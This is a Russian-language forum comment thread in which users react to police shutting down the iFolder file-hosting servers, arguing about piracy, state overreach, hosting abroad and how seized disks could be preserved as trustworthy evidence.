Ну, насчет «никогда не закроют» — неизвестно. Да и молиться на кого-либо не стоит. Но либрусек действительно классный проект, самый лучший из имеющихся.

Сейчас принято ругать Либрусек, мол, продался Ларин копирастам, погнался за длинным рублем, ах какая он сволочь, и т.д. Эти люди просто и не пытались разобраться что там на самом деле творится. А система напоминает трекеры novafilm и lostfilm: либо ты вносишь вклад в работу проекта (в случае с трекерами — сидируешь, в случае с библиотекой — ставишь оценки, пишешь отзывы, правишь или заливаешь книги), либо платишь (в трекерах за деньги добавляют рейтинга, в Либрусеке — абонемент на полный доступ). Но и ограниченный доступ к Либрусеку — это очень условная вещь. Любую книгу можно прочитать онлайн, если нужно — скачать в html (сохранив страничку). Ну да, звыняйте, баранов нема, в нескольких форматах по выбору качнуть не получится, имена файлов придется вбивать самому, но это и есть все ограничения. Полный же доступ не получить может только ленивый, настолько нужно совершать мало телодвижений.
AmoN
честно прочитал четыре раза…
fanex
Вышеупомянутый стиль Черномырдина заразителен
fanex
Говрб по памяти?
AmoN
извините, а 06 в нике — это год рождения?) Вообще ничего не понял
fanex
Я пошёл в школу с 6 лет, закончил её в 15 лет, летом мне исполнилось 16 и я поступил в ВУЗ, сейчас на 4-ем курсе, я Вам по секрету скажу, что мне 19 лет ещё. С 15 лет программирую на php. Я не «очень крупный руководитель», как Вы выразились, но руководить средним проектом вполне себе могу и придумывать всякие денежные штуки тоже. В профиле абсолютная правда. Всё зависит лишь от желания.

Насчёт тролля — Ваша карма говорит сама за себя) скоро примете присягу в тролли :)

P.S. У нас с ФСБ давний взаимный интерес.
guessss_who
Та же фигня, в 20 универ закончил.
fanex
. Сразу. Же. Сужение. Ума.
guessss_who
если так давить будут, скоро онлайн сообщество как соберется да так свою страну организует с безлимитными тарифами внутри себя самой же, с разрешением на отстрел чиновников любой другой страны =)
fanex
nikus
К тебе ночью придет черный властелин и лишит тебя девственности самым не традиционным способом…
fanex
троллоло…
CrazyPhil
По такой логике, интернет только и создан чтоб пиратский контент распространять и только. Рубим рубильник?!
warezz
The Internet Is For Porn!
Mithgol
так давайте весь интернет закроем, че там. он же весь направлен на нелегальный контент — там есть ЦП, варез, порнуха и.т.п.

это примерно как искать не там где потеряно, а под фонарем — так ведь удобнее. Зачем искать настоящих нарушителей если можно разом накрыть вертеп и гнездо порока — ну и что с того что там 95% легитимных юзеров, ну bad luck.
Awake
не поверите но многие шарят файлы которые нужно просто передать, то есть большая часть файлов просто не опубликована. Это мы с вами знаем для чего используют файлхостинги айтишное или приближенное поколение, а нормальные люди используют именно так как сказано в инструкциях по применению =)
Awake
на самом деле в основном — легальный. но пусть даже это и не так частично, вопрос не в этом.

меры, предпринятые органами в отношении агавы и ifolder-а напоминают меры описанные в фильме «13 квартал» (или район?) — про то как власти бессильные против преступности в отдельно взятом районе пытаются его уничтожить с помощью оружия массового поражения.

вы как я понимаю разделяете подобные методы?
Spectre
Район
Ваш КО
navix
Книги, бл*ть, Достоевского и Шекспира! Ну что же еще??
LeeMiller
Вы не поверите, но в последний раз я качал с файлообменника «Элементарный учебник физики» (тот самый, что в трех томах). Он явно старше 25 лет.
LMaster
Я там фотки выкладывал, друзьям ссылки кидал.
Scala
Это многократно отработаная схема — наказание невиновных и награждение непричастных.
shifttstas
Ну, типа, лес рубят — щепки летят, %username%. )
shifttstas
Youtube — ресурс направленный на распространение нелегального контента, мелкими дозами.
Habrahabr — ресурс на котором локализованно сидят люди, которые ОБСУЖДАЮТ и даже ПОДДЕРЖИВАЮТ развитие открытого интернета. Вы можете себе представить, вот так запросто сидят и обсуждают? Я думаю стоит немедленно это прекратить и всех их посадить.
AmoN
>Вы можете себе представить, вот так запросто сидят и обсуждают? Я думаю стоит немедленно это прекратить и всех их посадить.

Тем более они митинг с властями не согласовали.
lasthero
Нет, там делятся…
Stronzo
Я так понимаю — у вас все все лицензионное, под потолок шкаф с глянцевыми коробочками с лицензионными фильмами, весь софт лицензионнее некуда, соседняя комната целиком заставлена книгами, и вы никому не даете это почитать/посмотреть/поиграть, ведь это все только ваше, ведь вы даже ущемляли себя в еде, чтобы хватило денег все это купить.
Scala
torrents.ru, ifolder.ru…



Пришло время выводить сервера из России.
LeeMiller
оно уже давно пришло
Stronzo
ну, если у меня ресурс со своей легальной информацией, никакого UGC, комментарии с внешнего сервиса (IntenseDebate) — мне же не обязательно, да?
logan
А вы уверены, что на вашем сервере такой же «легальный» сосед?
Zorkus
ну ты попробуй объясни ментам, что у тебя комменты с внешнего сервиса.

нотариально заверенный скриншот — и досвидос.
logan
вообще-то они хорошо фильтруются и плохих не было пока :)
а как же экспертиза, которая находит http-запросы на intensedebate.com, в которых и есть комменты? да самое простое – выключить Javascript.

да блин, внешний контент всегда был, фреймы сто лет назад появились.
angel_hearted
т.е. ты хочешь сказать, что если у тебя на сайте внедрено embed'ом (или во фрейме) детское порно — то ты не будешь отвечать?
ну-ну.

суд принимает мнение экспертов, которые делают выводы о пиратстве по нахождению ключа в гугле, что уж тут говорить.
logan
Судя по новостям, сервера изымают до судебного разбирательства, когда еще нет экспертов, это пугает.
guessss_who
Пришло время выводить себя из России.
Nuke
беспредел хуль, средневековый.
atomicxp
«У каждого века есть свое средневековье.» Станислав Ежи Лец
logan
Ну вот....«вирус» перебрался из Украины в Россию :(
у нас уже несколько проектов закрыли. Я думаю, что без вмешательства высших слоев гос. чиновников с этим бороться бесполезно.
vladon
Челом бить, ага.
IonDen
Правила ведения надежного и добросовестного IT-бизнеса в России:

1. Держать сервера за границей.

2. Регистрировать домен за границей.

3. Уехать за границу и вести бизнес за границей.
betal
Березовского с 2000-го ищут. Все никак.
LeeMiller
Тем более Летающие Дата Центры никто не отменял =)
lol2Fast4U
Да и Плавающие уже есть, в крайнем случая паром в Бермуды…
cvetic
Не отследили его смену фамилии и имени?
vladon
Боюсь что не у всех столько бабла чтобы их 10 лет найти не могли.
lol2Fast4U
уже почти научились. Некоторые страны уже отвечают на запросы.
vladon
Уже пытаются! Недавно видел копию подобного запроса НБ «Интерпола» РФ. Искали серваки в Финляндии одной IT — компании, которая работает в РФ.
betal
в избранное.
Forastero
за ДП Вас в тех же штатах вместе с серверами точно так же закроют без проблем
thaivoxx
Понимаете, какая штука. Одно дело — закрыть за детское порно. Другое — по непонятному письму отключить еще и сервера, которые отношения к ДП не имеют. И откуда тут взялось ДП?

Кстати, у меня есть знакомый хостер. Так вот, у него сервера забирали, потом вернули. Он на винты глянул — а там появилась коллекция ДП. Видимо, ждала следующей «проверки».

Датацентр на Украине.
Darmstadtium
Ну по письму-не по письму, но если займутся, то и сервера других клиентов точно также могут пострадать.
siv
9,5 правил ведения безопасного IT-бизнеса в России
guessss_who
Пардон, ссылка не создалась:
blog.micromarketing.ru/advice/9-point-5-rules-fot-it-business-in-russia/
Novikov
сначала зона RU стала неприемлемой для ведения бизнеса
теперь вот Российские датацентры…
CuamckuyKot
Российское правосудие настолько сурово…
Flich
Народ.ру не закроют =) ЦБРФ не позволит у них золотая акция яндекса =)
LeeMiller
ага, вообще закрытие ифолдера приурочено к открытию нового датацентра яндекса на 6000 серверов, их же заполнить надо.
это такая очень не смешная шутка.
svoma
о, верно подмечено. IT рейдерство в действии.
Iwamoto
Все говорят про заграницу. Там реально такого не бывает?
kivsiak
такое… бывает, но не так
Synergyx
а как? Вспомните 3FN к примеру )
сревера назад все еще так и не получили, плюс сам возврат железа или данных стоит недешево (назначена сторонняя контора которая этим занимается, и услуги которой надо оплачивать).
ilawyer
Вспоминается gentoo-wiki.com…
robots
Зачем дело? Достаточно бумаги о проведении оперативно-розыскных мероприятий.
ColorPrint
в том и дело, что даже «дела» как я понял нет. просто у них есть постановление об обыске и все, но его в этой стране достаточно.
ColorPrint
Вот-вот…
«If you run a datacenter, please be aware that in our great country, the FBI can come into your place of business at any time and take whatever they want, with no reason.»
archonoff
стоило перевести, не все возможно знают нормально англ. а переводчики не все правильно результаты выдают.

Перевод для %username%: (дословно) если у вас датацентр, будьте готовы к тому, что в нашей великой стране ФБР может прийти к вам (в ваш бизнес) в любое время и взять все что угодно без какой-либо причины.

Вот так вот за бугром безопасно…
В «Криптономеконе» Нил Стивенсон писал про Островок беспечности на базе Малайзии. Может когда-нить что-нить такое будет?.. *вздыхает*
archonoff
ну, rutracker на Сейшелах вроде бы зарегистрирован (:
Drew003
вроде как. если интересно, у них поинтересуйтесь. rutracker.habrahabr.ru/
только это все равно мало меняет сложившуюся ситуацию в рунете
gangster1919
Возглавляли рейд — группа профессиональных уборщиц-диверсанток, как самые опытные бойцы против «жужащих коробок в углу».
LeeMiller
Ну двачу туда и дорога.
kabachok
Домены в .ru регить нельзя — могут отобрать, теперь уже и серверы в России размещать нельзя — могут утащить…

Мне вот интересно… а если хранилище было бы в другой стране? Ну а в России просто веб-сервер по закачке туда файлов. Что бы стали забирать? Где здравый смысл?
LAT85
Забрали бы анальную девственность :)
hox
Вам, да и нам, профит не положен, его раздают в другом месте :)
LeeMiller
а чот я не в теме… вы какие именно ресурсы имеете ввиду (платные и не эффективные). Линки в студию, плиз.
ColorPrint
а потом еще плачут, что нет айтишников в россии, уехали почему-то =)
g0dlike
In America, you call the police. In Soviet Russia, the police call YOU!
Hint
кормушек, очевидно, поубавилось в последнее время, а аппетиты у товарищей остались прежними, вот и приходиться им крутится. то ли еще будет :)
Stronzo
Мы поедем, мы помчимся
На салазках утром ранним
И отчаянно умчимся
В датацентр «за бугор».

Эх, навеяло.
adnull
Пора сваливать!
Fi1osof
Все вот пиняют на «лихие девяностые»…
На подходе «ядреные десятые».
kostitsyn
В лихих девяностых мы различали бандюков по толшине цепи. Теперь — по погонам и корочкам.
Fi1osof
Бандюки конкуренции с ментами не выдержали
:-(
Rivethead
Бандюки переквалифицировались.
nymin
а глядишь, и «золотые нулевые» втиснутся…
Novikov
Им просто было лень смотреть рекламу и капчу вводить.
nymin
браво!
Lord_Daedra
вопрос тенденции а не отдельно взятого ресурса
Novikov
плохой колобок!
GlumShadow
У меня депрессия, не могу теперь уснуть. :'(
Fi1osof
Прикол) реклама на AGAVA: «Весна цены на домены в зоне RU заметно тают 150 руб...» скоро они вообще никому не нужны будут!!!
technowizard
«FBI was in the datacenter with a search and seizure warrant

A search warrant is a court order issued by a judge or magistrate
vazzabi
Ну это понятно. Тут то они тоже с бумагой были.
reff
Только в отличии от нас обычной полиции и даже ФБР в штатах для обыска требуется решение судьи, а не просто внутренний «протокол о необходимости».
Screatch
Есть еще «Patriot Act».
Darmstadtium
ХА… мы вас перегнали по ментовскому беспределу!
habrahabr.ru/blogs/uanet/75779/#habracut
вот при изъятии серверов gorod.dp.ua, чисто так, за компанию, изъяли сервера всего ДЦ, мой сервер там тож хостился. вернули пару недель назад, при проверке оказалось, что к файлам настроек вебсервера и ряду другим файлам был доступ как раз в период присутствия сервера ХЗ где
cтоит ли уточнять, что мой сервер не имеет не прямого ни косвенного отношения к gorod.dp.ua
Dron58
Ну Вам хоть бесплатно его отдали?
А в штатах вон платить надо, за то что Ваш сервер в куче других найдут и проверят на непричастность )
Novikov
Варезники негодуют.

Видимо кто-то не нашёл кнопки «Пожаловаться на файл»
eugyn
Хмм. Придется и мне вывозиться из страны-) ник подводит
lasthero
Главное, что ник не pedobear, а то и там подведет ;)
Iwamoto
Блин… времена меняются, а страна всё такая же… и когда у народа российского менталитет начнет менятся в чуть более гуманную сторону?
Phaeton
… руки уже чешутся…
garlic
А вот интересно, если запустить спутник (в смысле Искусственный Спутник Земли) c сервером файлообмена и записать туда ЦП и ОдинЭс какую нибудь пиратскую, как будут спутник доставать?
koloebok
Это не нанотехнологично. Дадим 15 триллионов Грызлову и Петрику, они его торсионными полями сбивать будут.
LeeMiller
Как Матвиенко в Питере сосульки с крыш хочет сбивать, портативными лазерными установками:)
koloebok
Спутник может прекрасно ретранслировать данные, так что нет смысла туда ставить сервер с мощной защитой от космического излучения.
Fi1osof
Хитрость в том, что космос — международная зона, а значит — спутник не является территорией россии. А кто сказал, что в гипотетическом государстве пирландия (которое запустило спутник) не запрещено плевать на авторское право? Никто не сказал. Вот и пишите теперь в дипмиссию пирландии ноту протеста :)
max7
Плачу)
comrus
Слово одно, «животные».
Аля 90-е
LeeMiller
img510.imageshack.us/img510/7902/petrp.jpg
«Поросёнок Пётр вывозит сервера из сраной Рашки»
adnull
Don't take it personal, здесь нет отрицательных коннотаций, просто фольклор в тему.
ProRunner
угу. Все мы родину любим. Только вот Россию недолюбливаем.
adnull
А смысл?
ProRunner
не расскрывайте тот ↑ коммент
adnull
надо было капсом или цветом выделить, я вот поторопился.
vosi
Вы просто таки заставили взглянуть меня на тот коммент! Это как предложить не думать про слона
ColorPrint
Гад вы. :( Как мне теперь его из головы выбросить?
Sys3X
Просто не думай о нём!
warezz
Теперь количество желающих его открыть только возрастет.
Novikov
«Не кушайте яблочко с дерева в саду».
Думали на этот раз получится?
Rubs
сука!
max7
А Вас предупреждали!!!
almuerto
Патриотизм такой патриотизм. Пока «Родина» кладет на меня — я буду класть на нее. А почему нет?
ЗЫ Яйца оторвал бы? Сраная Рашка, Сраная Рашка, Сраная Рашка. Do it, faggot.
Flich
Я буду читать комментарии прежде, чем комментировать самому.
Я буду читать комментарии прежде, чем комментировать самому.
Я буду читать комментарии прежде, чем комментировать самому.
Я буду читать комментарии прежде, чем комментировать самому.
Я буду читать комментарии пре…
ilawyer
дурной пример заразителен… сейчас органы почуют власть и пиши пропало: изъятия на каждом углу будут. ради прикола и кормушки ради…
пора присматривать хостеров «за бугром»
atomicxp
Мда, грустно это все.
Такое впечатление, что Эштон Катчер убирает конкурентов внимания.
Заехал на денек — и стали теперь все закрывать подряд.
Интересно — сколько дал на лапу? Еще интереснее — кому?
logan
Добро пожаловать в ДЦ в цивилизованных странах:
www.leaseweb.com/en
www.hetzner.de/en/hosting/produktmatrix/rootserver-produktmatrix/
iz0
У Leaseweb ли хостится Мининова, которую прижимали наездами на Leaseweb в том числе.
Full
А там было судебное решение, не помните? И чем закончилось?
tick
Было. Подчинились. Теперь раздают только легальные торренты и выпали из 1-й десятки сайтов в по Алексе в никуда.
Aristei
Помнится, и интерфильм на чем-то похожем сидел.
vk2
кто следующий?
честно говоря, обидно очень
ребятам желаю выйти сухими из воды, они ничего такого не сделали
Aristei
Тут Жванецкого смотрел, мол, как еще советское у нас осталось, очень похоже.

ну так вот скоро будет как было, вместо форумов будут кухни, вместо торрентов — пленка.
JustLuckyGuy
«В результате переговоров вывоз оборудования удалось предотвратить, но, к сожалению, в качестве «альтернативы» сотрудники МВД выключили и опечатали все сервера проекта iFolder, а также и другие сервера компании, не имеющие никакого отношения к проекту.»

менты — скоты
atomicxp
Охренеть, а я там архив файлов несколько лет держал, много полезных файлов заново придется выкладывать :(
Zorkus
Ничего, теперь на Openbittorrent.com сделаю торрент и буду раздавать. Файлообменники задрали.
vladon
Наша власть на примере интернета (где она ни гу-гу) показывает свое истинное лицо во всей красе!
Tilli
а вы уверены, что это лицо? :)
dohlik
Мне вот что интересно: а кто может помешать проверяющему залить на винт столько детского порно, сколько ему захочется, а потом сказать «тут так и было»?

Ведь подделать можно всё: и даты создания файлов, и логи. И это даже сложной задачей назвать нельзя.

Понятное дело, сервера опечатываются. Но потом-то печати вскрываются, а дальше? 200 часов анализа того, что на винтах лежит — и всё при понятых? А понятые достаточно компетентны, чтобы хоть что-то понять в происходящем?

Или можно этим понятым вообще монитор от другого компьютера показать?

Вот где настоящий п345ец. Потому что сколько не говори о легитимности-нелегитимности контента, а адекватных мер борьбы у нас нету, а те, которые есть — один большой потенциальный источник коррупции.
sunburn
И конечно же нотариально заверенные скриншоты листинга каждого файла. За счет подозреваемого.
The_Player
Залить через форму загрузки :D

— Нам поступил сигнал, что у Вас храниться порно.
— Вы ошиблись, у нас ничего подобного нет.
— Как нет? Сам помню как заливал…

Так и калымить можно :)
gvsmirnov
Кстати, разумная процедура должна выглядеть как-то так:

В присутствии понятых и владельца железа экспертная комиссия снимает дамп жесткого диска, используя тут же на месте скачанный через публичную сеть (йоту ту же) опенсорцный дампер (ddrescue, положим). После этого считаются md5, sha1 и crc32 дампа, и подписывается протокол, в котором фигурируют эти хэши.

В дальнейшем за доказательство можно считать только обращение к дампу, соотвествующему всем трем хэшам сразу, что довольно-таки непросто (если вообще возможно) подделать.

Конечно, тут не учитывается вариант, что можно договориться с провайдером публичной сети, чтобы он, скажем, поигрался с DNS так, чтобы вместо опенсорцного дампера скачалась специальная прога с таким же интерфейсом + функцией внедрения детского порно, но как с этим бороться, нужно ещё думать… Если бы тот же ddrescue авторы выкладывали на ssl-сервере, было бы проще, а так — лазейка всё равно остается.

Короче, вопрос процедуры ещё прорабатывать и прорабатывать.
GreenDay
Как только вы скажете ментам про хэш и дампы, они вас обвинят еще и в хранении и распространении наркотиков.
angel_hearted
habrahabr.ru/blogs/php/57000/
«Студент отстранен от занятий за употребление php»
evil_random
«Могу немного уточнить ситуацию. Детское порно(ДП) было залито давно — по нему шло следствие, мы отвечали на запросы. Реальный человек был найден, но следствие решило самостоятельно поискать на серверах ещё его файлы с ДП в дополнение к тем, что уже были в деле. Мы предложили помощь, но нам сказали, что они приехали за серверами и планируют вывезти их. Приятно, что не стали этого делать, но смысл действий остаётся загадкой.
При этом сообщили, что к самому ресурсу претензий нет и мы можем продолжать работать, но без текущих хранилищ :))»
roem.ru/2010/03/17/organs_rock_you/
ilawyer
себе хотели переписать файла бесплатно )
Lamo
С таким успехом скоро и хабр за комменты закроют.
Lamo
Если захотели посмотреть %censored%, могли бы и скачать, нет им прямо с сервера смотреть надо…
Denysh
Надо увезти свой сервер на Сейшелы, так, чисто на всякий случай.
SergVeter
В то время как президент говорит о модернизации и инновациях, проводится планомерная кампания по выдавливанию ИТ-индустрии из России.
AstonMartin
Как раз когда президент говорит и стоит опасаться за отрасль. Это уже превратилось в народную примету.
mikhailian
Скоро появится новый вид предсказания будущего — вместо гадания на кофейной гуще будет гадание на президентской чуши…
AstonMartin
Всплакнул. Бедный-бедный президент Медведев. Злые-презлые визири-советники. Ах-ах-ах.
mikhailian
>Еще создается впечатление, что президент в каком-то своем сферическом мире в вакууме живет(возможно это не нарочно).

Так он финансист вот и живёт в параллельном от других реальностей мире. Каждый же человек копит опыт всю свою жизнь и потом действует согласно своим субъективным представлениям. Вот, например, надо технологии продвинуть, но к сожалению всю жизнь до этого руководитель был потребителем.

Что он будет делать? Скорее всего захватит готовую, но управлять не сможет и всё постепенно разрушится. Потому попробует купить иностранную, но они тоже чай не дураки и не продадут. Потом пойдут лозунги, чтобы люди у которых вообще нет денег, что-то сделали.

Вот и получается, что живёт он в неком вакууме. И по сути каждый в таком находится, только со своей другой стороны. Вряд ли много людей видят общую картину, но это уже мнение сквозь мой личный сферический вакуум.
motomac
иногда из-за количества рекламы на ресурсе хочется чтобы вовеки люди забыли про существование этого ресурса. и ещё капчи нечитаемые. к слову так.
deniamnet
1. мне пока больше хочется поменять страну проживания… юношеский оптимизм «изменить под себя мир» прошел. я уже понимаю что лучше просто свалить, благо язык есть и куча ITшного опыта, думаю на картошку с хлебом должно хватить

2. Надо было написать «ТЫ, уехал из России?»

3. «Поросёнок Пётр вывозит сервера из сраной Рашки»

Это хабра-мода такая, срать на Россию? Ресурс стал напоминать «иносми».
А что Ты сделал для того, чтобы в России было хорошо?
Чтобы власть заботилась о тебе, а не о себе; Чтобы тот, кого Ты выбрал в думу/управу/совет… выполнил свои обещания, а не стал тем-же дерьмом в которое избрался; Чтобы менты охраняли твой покой, а не обирали твои карманы; и т.д., и список этот почти бесконечен.
Что, именно Ты, сделал?
Да нихуя ты не сделал, если честно.
Ты сидишь на жопе и считаешь, что «где-то там, далеко-далеко есть страна»© и мечтаешь о том, как там прекрасно.
Ну да, есть наверное есть. Наверное там прекрасно.
Там хорошо потому, что там нет таких как Ты.
Жители этой страны делают, а не рассуждают о том, что можно было бы сделать. Борются за свои права, если их нарушают, а не ведут себя как стадо безмолвное.
Здесь же, на хабре, есть такие люди. Они отстаивают и защищают свои права и наказывают быдло, дабы неповадно ему было впредь. И чем больше таких людей будет, тем лучше Россия станет.
А Ты, и Тебе подобные могут только срать в комментах о том, какая хуёвая страна, эта Россия.
serafims
Страна то может и не«хуёвая», только менеджмент на всех уровнях сраный

из бандитов троечников да из их ближайших родственников
deniamnet
Интересно, как Вы, такой умный, планируете наказывать Первое официальное лицо первой партии страны, за то что он совместно с человеком, кстати уже отсидевшим за мошенничество, попилил бюджет на 5 миллиардов рублей.

РАН в пролёте, а кто Вы?

Этож зазеркалье, тут всё наоборот!
crazyASD
п.1 — мой. и если мне придется уехать я буду делать это с искренним сожалением и печалью т.к. считаю себя патриотом, но в моем возрасте забота о семье становится важнее собственных амбиций. Да, я ведь честно написал, что я пытался, но не осилил.

Я честно работал, не воровал, соблюдал ПДД в меру сил, давал людям работу, платил какие-то налоги. Ходил когда мог на выборы (только выбирать там было не из кого). Что еще по вашему должен делать гражданин для благосостояния своей страны?

Я считаю что власть, если ей действительно важно дальнейшее процветание страны должна либо бояться оттока таких людей как я т.к. сейчас это все на что она может надеяться, либо если она не боится — это целенаправленная политика на «выдавливание» несогласных и отупление нации (так проще управлять), сколько-нибудь умных и что-то делающих.

Т.е. то что я там выше написал — можно считать новой гражданской позицией, но я пишу это с печалью, во мне нет никакого экстремизма.

Получилось эмоционально и местами нескромно, но я искренне считаю что если бы таких как я и люди вокруг меня было бы больше — в россии не было бы местами таким событиям.
ColorFlow
Иди, отстаивай свою позицию в суде, измени всё к лучшему, попробуй поменять систему.
Пока ты это будешь пытаться сделать, тебе будет мешать бюрократическая машина, коррупция, административный произвол, и вкупе с этим русский менталитет который это кормит.
Верь дальше в светлое будущее, в закрытие делегации доменов только по решению суда, а не по заявке прокуратуры.
В верность букве закона, когда дело заведённое на тебя, в котором ты был уверен, почему то проигрывается.
В идею, что милиция здесь чтобы нас защищать, а всё плохое на них наговаривают, и на самом деле ничего такого в реальности не происходит, ни официально одобреных рейдов, на те компании, которые не понравились парням в вертикали, ни милицейского произвола, который можно встретить прямо на улице, ни абсолютного игнорирования буквы закона когда дело касается выполнения предписаний этого самого закона.
А ещё, самое важное, ты главное верь в то, что вся эта система может изменится, что суды внезапно перестанут выносить решения, которые удобны правящей элите. Верь в то, что ты действительно, можешь жить по закону в этой стране, и жить хорошо, не имея проблем и постоянных препятствий со стороны этой самой страны.

Ты главное верь.
crazyASD
Я свою страну люблю и уезжать никуда не собираюсь. Даже путешествовать — по России одно удовольствие, не было бы еще это дороже всяких турций, было бы еще лучше.
А негатив у меня в основном к нашим властвующим нелюдям. Что, кто сделал, давайте вот об этом не будем? Понятно ведь, что в данной ситуации, максимум, который мы можем — сделать лучше себя, а там, глядишь, и окружающие начнут меняться, общество, страна. Сейчас мы просто кучка потребителей, которая наконец-то осознала, что кормят на убой и суповой набор, только кто-то решил бежать, а кто-то хочет остаться до конца и принять последний бой.
Aristei
то, что я честный человек, не ворую, не убиваю, не даю взятки (даже ГАИ), этого мало?

я живу эту свою единственную жизнь не для построения лучшего общества, а для себя. делаю то, что важно мне. забочусь о себе. ну, максимум, я позабочусь о благе своих близких.

коммунистов, кладущих живот на алтарь светлого будущего, я видел у помоек, собирающих бутылки. это очень-очень показательный пример, поверьте. чтобы заставить кого-то, кто застал (даже в детстве) социализм, работать «ради светлого будущего», его нужно сильно трахнуть мешком по голове.

а срать в комментах мне доставляет чистое, незамутнённое удовольствие, поэтому я буду отстаивать это право, just for lulz.
Xeon303
Интересно, связано ли это с недавним habrahabr.ru/blogs/infosecurity/73805/… В таком случае отказ органов от содействия вполне оправдан.
unxed
Кошмар что творится. Ну давайте еще закроем Letitbit. Он тоже в Москве в дата центре сидит.
Ну давайте еще Депозитфайлс закроем…
А вообще как вы все наверно догадываетесь: исчез один файлообменник — появится десять.
Просто в очередной раз все убедились что российский хостинг И домены — это зло и надо идти на забугорный хостинг с забугорным доменом.
mrjj
Что там Медведев про интерент, развитие технологий говорил… Видимо как в одном анекдоте про Путина: «Буду краток: пи@#ец».
Русский сегмент сети превращают в зоопарк.
kupnet
А вот знаете, вижу одну тенденцию, и не сказать чтобы она меня огорчала. Ipicture — закрыли. Ifolder — похоже тоже. А ведь и то и то — были очень популярные, но медленные, увешанные рекламой, неудобные сервисы. Даешь скорость, качество, удобство!
unxed
Хоть и пишут что хостинг не задет, но вчера у меня один сайт был не доступен 4 часа (хостинг от агавы). Может это конечно и не связано, но так вот совпало.
DEHiCKA
Скоро в рунете будут хоститься только корпоративные сайты. А стартапы и коммерческие проекты, которые стоят денег, будут покупать хостинг и домены (привет руцентр) где-нибудь в европе.
unxed
В европе тоже нельзя — там бушует копирастия.
jbrain
Да, но копирасты там подают в суд, пару лет судятся, потом штраф.
clockworkbird
Там были премиумы, 2$ в месяц кажется, без них почти каждый файл надо было качать с помощью десятка кликов и ожиданием с просмотром сайта.
ultx
Возможно ли подать на милицию в суд за превышение полномочий?

Есть ли возможность переложить коммерческие потери, связанные с ограничением оказываемых услуг, на милицию?

А знает ли интернет тех конкретных людей, которые причинили вред интернет пользователям?

Что бы ни говорили о порнографии, но здесь налицо борьба со свободой слова со стороны государства. Если проводить аналогии, то это то же самое, что запрет выезда из города для всех жителей из-за одного воришки.
VovixLDR
в суд подать всегда можно, но только в той стране, где он есть.
evil_random
а чего тут ждать от гибонов если учится в высшие гибонские учебные заведения большинство идёт только через знакомых или за взятку, от нескольких кусков

RussianSpy
На совещании Медведев строго потребовал от губернаторов и членов правительства пользоваться Интернетом и самостоятельно следить за мнениями граждан о тех или иных нововведениях. (http://vz.ru/politics/2010/3/16/384208.html)

как всегда поняли «правильно»
atomicxp
Угу, теперь пожарная инспекция будет проверять наличие сертифицированных по российскому ГОСТу firewall на всех рабочих машинах и серверах, санитарные врачи придут с проверкой есть ли в аптечках Касперский, ФМС будет контролировать статусы доментов и таблицу роутинга. Так началась интернетизация (ассимиляция) органов власти и киберпространства. :)
RussianSpy
«серьезные разборки» у нас не бывает, пока из табельного десяток человек в супермаркете не пристрелят или живой щит не организуют и кто-то не начнет возмущаться. А так чего, делов то, юкос отобрали и то ничего, а вы про какой-то хостинг.
Lamo
Дело в том, что юкос — это отдельная организация и там несколько иное дело.
А целый хостинг, с десяткой, сотней тысяч сайтов, среди которых представительства тысяч организаций, торговых площадок… Это уже интернет-терроризм какой-то.

Внезапно… раньше организовывали DDoS, а теперь, когда не состоянии его провести, заказывают у ментов опечатать сервера?
atomicxp
В штатах закрывали — с полной потерей всей информации у хостера и ничего.
Тоже, кстати из-за детского порно, что само по себе правильно, но не такими же методами.
Когда ради достижения своих целей используют невиновных людей это и называется терроризм.

заказывают конкурента, того шмонают по полной. с 90-ых еще метод известный «конкурирования». почему бы и нет?
если бы хотели решить вопрос с этим порно, то и решили бы. зачем понадобилось сервера отключать?
darkside
Так ясно же действительно, как божий день, что для поимке распространителей ДП надо не сервера закрывать, а ловить на горячем при содействии ресурса, где эти ублюдки занимаются своей деятельностью. Но ментам разве это надо?
Hotai
скак зачем отключать — бей своих, чтоб чужие боялись…

жаль ирони нет
SeVit
А даже если и интернет-терроризм. Ну закроют, и что? Инфосек на украине закрыли, Агаву могут закрыть точно так же. Законных мер противодействия тут нет, а незаконные мы вроде не обсуждаем?
SeVit
По крайней мере, общественный резонанс был бы еще выше. Главное — не молчать, это давно было пора понять. Пока процветал похуизм в массе, вообще ничего не двигалось никуда.
Stronzo
Открывать свой проект в ру зоне и в русском дата-центре становится все опаснее и опаснее, обидно за родину… А они еще хотят сделать свою силиконовую долину… эх(
Nuke
да много чего хотят. перевести на русский — денег.
любые «проекты» превращаются в распил и растаскивание.
ничего ведь не сделано, только бла-бла-бла и миллиарды на ветер.
обидно и стыдно за страну.
iz0
И за айфолдером пришел большой полярный лис в милицейской фуражке…
Господа, на чем сегодня будем съебывать из Рашки?

tick
А ведь это был российский проект, кстати. Проект Великой Страны. Прародитель и идеолог TVG, Bullet-train и прочего.
kSx
Так ведь это электричка в девяточном обвесе :)
А чо, модно так, свежо.
soros26
Объясните мне, знающие товарищи, следующую ситуацию. Скажем, я арендую ячейку-хранилище в пользующемся популярностью банке. Ну и еще мой друг тоже арендует.

В один прекрасный день я приношу с собой диск с ДП и кладу его в ячейку. Теперь в банке хранится ДП, и есть не меньшие основания устроить там маски-шоу с вывозом всех ячеек вкупе с обслуживающим персоналом.

А моему другу удается пронести находящийся в розыске ствол (да, он фокусник) и поместить в свою ячейку. Такое, кстати, вполне возможно, как мы знаем из самых достоверных источников — голливудских фильмов. Теперь банк хранит нелегальное оружие, и есть все основания господам в погонах поступить аналогично вышеописанному.

Это все так или есть какая-то существенная разница между хранением в ячейке и хранением на сервере?
relort
Если есть постановление суда и следователя о производстве выемки из банковских ячеек, то банку «по х… р дым» на то, что храниться в ячейках клиентов. Банк спокойно откроет ячейки и получит копию протокола обыска. Ответственности за содержимое ячеек банк не несет. Несколько лет назад в Москве из одного банка мошенники по липовому постановлению суда и следователя, с липовыми ксивами вынесли из ячейки в банке около 300 000 баксов. Клиент подал на банк в суд. И доблестно этот суд проиграл.
M_org
А почему проиграл? Вы говорите, что было установлено, что документы были фальшивые, значит банк не имел права разглашать/показывать, т.е. сам виноват. Получается он нарушил договор с клиентом. Как такое можно проиграть?
MiniSoft
Банк неправомочен устанавливать подлинность документов. Тем более посторонних.
Далее — дело милиции найти поддельщиков, посадить их и изъять сумму, если это возможно, конечно.
Но по факту — это малореально.
Slon7
Банки давно защитили себя от подобного произвола, да и у владельцев банков обычно есть куча денег и куча связей.
gopline
Банк вашу ячейку в публичный доступ не открывает, чтобы каждый мог взять и пострелять из этого пистолета.
Slon7
Ячейка по доверенности на предъявителя. Пришел — забрал — пострелял — вернул.
Lordick
